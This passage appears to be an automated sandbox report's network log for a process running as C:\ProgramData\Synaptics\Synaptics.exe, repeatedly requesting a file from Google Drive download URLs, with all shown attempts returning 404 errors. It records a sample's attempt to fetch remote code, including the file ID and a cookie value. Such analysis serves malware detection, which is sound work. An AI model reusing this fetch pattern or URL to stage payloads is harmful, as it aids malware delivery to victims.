99	192.168.2.4	49883	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:23 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-nDCWO6hbdmn8WJpCcL3BUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49885	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:24 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7bwD9x-CW-GHrNkobMB7KQZ3cjIQJmiTR-CR0t6BnbdZcroDavlTrkBjCSIEyFMnZMRGsOu4s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:24 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3Wpzt7f35glZhQws6jFJIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:24 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:24 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 45 41 5f 5a 30 72 57 66 38 70 45 50 42 31 6e 62 59 5f 55 4b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="0EA_Z0rWf8pEPB1nbY_UKw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:24 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49884	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:23 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-buboQlgCreZKW8eQGUb_OA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49886	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:24 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC43StYh49ff4b_3EvbR9uWH3FwqxE1vlNzd-1fj6bPklsmRTD_2xVzDUsDIEyPIMELBxz8G40E Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:24 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-y20FqzOOEE1FCtyV9Bw9_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:24 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:24 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 78 50 6f 67 5a 6e 6f 32 57 32 76 77 49 78 6e 79 62 58 48 38 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="RxPogZno2W2vwIxnybXH8w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:24 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49889	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:24 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-92-vd2UoZR_D8Hl8xBc1TQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49890	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:24 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-PsQ5QENwt_0Z_CCafnCIWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49891	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:25 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4uzHCCA7UoSH1C6V6vMQiLe-SMCS2KA5QtyymzHvcbkjw9Xz9iYLsDst2QGMoNJolY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:25 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-R__6xnqNscxuFlo-Jmhj-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:25 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:25 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 79 39 47 65 59 6b 75 54 68 54 44 36 64 58 39 79 52 49 61 79 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="0y9GeYkuThTD6dX9yRIayg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:25 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49892	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:25 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6csT7DbYDuOMUGduv6Nu6YyOM-q4kN3nuPOXouqhgBwc6PHNu1XmdQyi7-gKuWQVOvOYUKMng Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:25 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-T2mg1Hu8MPenIb7avuC6jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:25 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:25 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 53 67 6a 59 5a 78 58 32 6f 79 38 50 41 4d 71 42 55 50 44 57 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="vSgjYZxX2oy8PAMqBUPDWA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
